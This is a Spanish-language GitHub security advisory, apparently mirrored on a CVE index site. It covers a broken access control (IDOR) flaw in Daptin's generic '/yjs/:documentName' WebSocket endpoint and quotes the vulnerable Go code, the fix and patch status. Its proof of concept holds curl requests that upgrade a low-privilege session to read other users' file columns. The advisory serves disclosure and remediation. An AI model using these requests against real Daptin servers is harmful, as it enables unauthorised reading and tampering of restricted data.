GHSA-WJ7X-58C2-5793
Daptin: control de acceso roto (IDOR) en el endpoint genérico de colaboración YJS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche v0.12.30 | github.com/daptin/daptin · -115 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Divulgación | Publicada | GHSA-WJ7X-58C2-5793 divulgada · CVSS 9.6 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Fuente: GitHub Security Advisories | Registro visto por primera vez en GitHub Security Advisories | |
| Monitoreo | Fuente: OSV | Registro visto por primera vez en OSV | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Resumen
Daptin registra un endpoint WebSocket genérico, `GET /yjs/:documentName`, para la edición colaborativa de documentos en tiempo real (YJS/CRDT). A diferencia de su ruta específica hermana, este endpoint genérico no realiza ninguna verificación de autorización por recurso: solo comprueba que exista *alguna* sesión de usuario. Como el almacén de documentos interpreta `:documentName` como `typename.referenceId.columnName` y obtiene incondicionalmente el contenido real de la columna de esa fila, cualquier usuario autenticado (incluida una cuenta nueva, sin privilegios y registrada por sí misma) puede leer y, dado que la sincronización de YJS es bidireccional, también escribir el contenido de cualquier columna de tipo `file.*` de cualquier fila de cualquier tabla, incluidas las tablas que por defecto son exclusivas de administradores.
Detalles
`InitializeYjsResources` (`server/endpoint_yjs.go`) registra dos rutas.
La ruta específica, correctamente protegida, se registra una vez por cada columna de tipo `file.*` de cada tabla:
// server/endpoint_yjs.go:47-113 (abridged)
path := fmt.Sprintf("/live/%v/:referenceId/%v/yjs", typename, columnInfo.ColumnName)
...
return func(ginContext *gin.Context) {
sessionUser := ...
if sessionUser == nil { ginContext.AbortWithStatus(403); return }
...
object, _, getErr := cruds[typename].GetSingleRowByReferenceIdWithTransaction(typename, parsedId, nil, tx)
if getErr != nil { ginContext.AbortWithStatus(404); return }
...
objectPermission := cruds[typename].GetRowPermission(object, tx2)
if !objectPermission.CanUpdate(user.UserReferenceId, user.Groups, cruds[typename].AdministratorGroupId) {
ginContext.AbortWithStatus(401)
return
}
roomName := fmt.Sprintf("%v%v%v%v%v", typename, ".", referenceId, ".", columnInfo.ColumnName)
...
yjsConnectionHandler(ginContext.Writer, ginContext.Request)
}Esta ruta exige correctamente una sesión, carga la fila real y verifica `objectPermission.CanUpdate(...)` para el usuario solicitante específico antes de permitir la actualización a WebSocket.
Justo encima se registra una segunda ruta genérica, sin ninguna de esas verificaciones:
// server/endpoint_yjs.go:27-38
defaultRouter.GET("/yjs/:documentName", func(ginContext *gin.Context) {
sessionUser := ginContext.Request.Context().Value("user")
if sessionUser == nil {
ginContext.AbortWithStatus(403)
return
}
yjsConnectionHandler(ginContext.Writer, ginContext.Request)
})La única validación aquí es si existe alguna sesión: no hay búsqueda de la fila referenciada, ni `GetRowPermission`, ni verificación de `CanUpdate` o `CanRead`. `:documentName` se toma literalmente de la URL y se pasa directamente a `yjsConnectionHandler`.
El proveedor de contenido del almacén de documentos YJS interpreta `documentName` con exactamente la convención `typename.referenceId.columnName` que la ruta segura construye internamente como `roomName`, y la usa para obtener la fila real de la base de datos sin ninguna verificación de autorización propia:
// server/yjs_doucment_provider.go:41-115 (abridged)
ydb.WithInitialContentProvider(func(documentPath string) []byte {
pathParts := strings.Split(documentPath, ".")
typeName, referenceId, columnName := pathParts[0], pathParts[1], pathParts[2]
crud := cruds[typeName]
object, _, getErr := crud.GetSingleRowByReferenceIdWithTransaction(typeName, parsedId,
map[string]bool{columnName: true}, tx)
...
// decodes and returns the actual file/column content, base64-decoded, as the
// initial content of the shared collaborative document
})Como la ruta genérica no realiza ninguna verificación de permisos, cualquier usuario autenticado puede enviar `documentName = "<cualquier tabla>.<cualquier reference_id>.<cualquier columna file.*>"`, y la sincronización inicial de YJS le entregará el contenido real de esa fila. Esto incluye filas de tablas con `DefaultGroups: adminsGroup` (exclusivas de administradores por defecto, por ejemplo la tabla integrada `calendar`) o filas que los permisos a nivel de fila de un usuario común le impedirían leer. Como la sincronización de YJS es bidireccional, un cliente conectado también puede enviar ediciones, que colaboradores legítimos podrían recuperar después a través de la ruta `/live/...` correctamente protegida. Por tanto, existe también una vía de escritura y corrupción, no solo de lectura.
PoC
Se compiló y ejecutó el HEAD actual en un contenedor limpio. Se crearon dos cuentas (`admin@admin.com`, primer registro -> administrador; `bob@bob.com`, segundo registro -> usuario común, sin privilegios de administrador y con permisos predeterminados únicamente):
# 1) Generic endpoint accepts ANY authenticated session for ANY document name,
# including a syntactically-valid-but-nonexistent reference_id on an admin-only table:
curl -i -N \
-H "Authorization: Bearer $BOB_TOKEN" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
"http://localhost:6336/yjs/calendar.deadbeef-0000-0000-0000-000000000000.content"
# => HTTP/1.1 101 Switching Protocols <-- ACCEPTED, no ownership/permission check at all
# 2) The purpose-built, secured sibling route correctly validates the very same identifier:
curl -i -N \
-H "Authorization: Bearer $BOB_TOKEN" \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
"http://localhost:6336/live/calendar/deadbeef-0000-0000-0000-000000000000/content/yjs"
# => HTTP/1.1 404 Not Found <-- looks the row up, would 401 if it existed and Bob lacked access
# 3) Sanity check: the generic endpoint DOES require *some* session (not fully unauthenticated) --
# the flaw is specifically the missing per-resource check, not a missing session check:
curl -i -N \
-H "Connection: Upgrade" -H "Upgrade: websocket" \
-H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
"http://localhost:6336/yjs/calendar.deadbeef-0000-0000-0000-000000000000.content"
# => HTTP/1.1 403 Forbidden`bob@bob.com` no tiene ninguna relación con la tabla `calendar` (cuyo `DefaultGroups` es `adminsGroup`, es decir, exclusiva de administradores por defecto) ni con el ID de referencia inventado, pero la ruta genérica actualiza la conexión para él de forma incondicional. Cualquier triple `typename.referenceId.columnName` de una fila real (los IDs de referencia aparecen habitualmente en las respuestas normales de la API de listado o lectura, incluso cuando la columna sensible está restringida) basta para extraer el contenido real de esa columna por este canal lateral, eludiendo por completo el sistema de permisos por fila y por columna que sí aplica correctamente la ruta hermana `/live/...` y el resto del modelo de permisos de Daptin.
Impacto
- Confidencialidad: cualquier usuario registrado, incluida una cuenta nueva creada por sí misma y sin pertenencia a grupos, puede leer el contenido en vivo de cualquier columna de tipo `file.*` de cualquier fila de cualquier tabla. Esto incluye tablas exclusivas de administradores por defecto (por ejemplo, `calendar`) y filas que los permisos por fila bloquearían a ese usuario, basta con proporcionar el triple `typename.referenceId.columnName` adecuado a `GET /yjs/:documentName`.
- Integridad: como la sincronización de YJS es una replicación CRDT bidireccional, la misma conexión de bajo privilegio puede enviar cambios al documento compartido. Esos cambios son visibles para cualquier colaborador legítimo que abra posteriormente el mismo documento a través de la ruta `/live/...` correctamente protegida.
- Afectados: todas las instalaciones de Daptin con al menos una columna de tipo `file.*` (ejemplos integrados: `calendar.content` (`file.ical`), `document_content` de la tabla genérica de documentos (`file.*`), y cualquier tabla personalizada que un administrador defina con un tipo de columna `file.xxx`), ya que la ruta vulnerable se registra de forma genérica para cada columna de ese tipo en todas las tablas al iniciar. Basta con que un usuario pueda registrarse por sí mismo (el registro abierto es el predeterminado) para explotar esta vulnerabilidad.
Resolución
Corregido en la rama principal en daptin/daptin@a1a3c48f. Las salas YJS canónicas respaldadas por base de datos ahora usan la misma búsqueda de filas y las mismas autorizaciones existentes `PermissionInstance.CanUpdate`/`CanRead` tanto para `/yjs/:documentName` como para las rutas `/live/...`. El permiso de actualización concede acceso de lectura y escritura; el permiso de solo lectura concede una sesión YJS de solo lectura; los recursos no autorizados o inexistentes fallan en modo seguro (fail closed) con un 404. Las salas independientes no canónicas conservan su comportamiento existente: autenticadas y compartidas por nombre. El proveedor de contenido inicial ahora valida la forma canónica exacta, el UUID, la tabla y la columna `file.*` antes de acceder a la base de datos.
La aplicación del protocolo de solo lectura la proporciona artpar/ydb v0.4.1 (artpar/ydb@b79b01a), que consume por completo, pero descarta todos los subtipos de escritura de sincronización YJS del cliente, mientras sigue entregando el historial y las difusiones.
La verificación incluyó pruebas de condiciones de carrera (race) de YDB para todos los subtipos de sincronización, manejo de tramas concatenadas, supresión de persistencia y difusión, catch-up y continuidad de conexión; pruebas unitarias de permisos y del analizador de Daptin; la suite completa de pruebas de Daptin; pruebas de race del servidor; `go vet`; y una prueba CLI/WebSocket en una instancia nueva que cubre autenticación, rutas canónicas que fallan en modo seguro, compatibilidad con salas independientes y retransmisión entre las rutas canónica y `live`.
Aún no se indica ninguna versión parcheada de Daptin hasta que se publique una versión
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gogithub.com/daptin/daptin |
Corregida | v0.12.30 | -115 d | v0.13.57 no afectada |
0.12.30v0.12.30Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://nvd.nist.gov/vuln/detail/CVE-2026-77369https://github.com/daptin/daptin/security/advisories/GHSA-wj7x-58c2-5793https://github.com/daptin/daptin/commit/a1a3c48f88ce30632a57d3fe6a971033b23bd394https://github.com/daptin/daptinhttps://github.com/daptin/daptin/releases/tag/v0.12.30Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
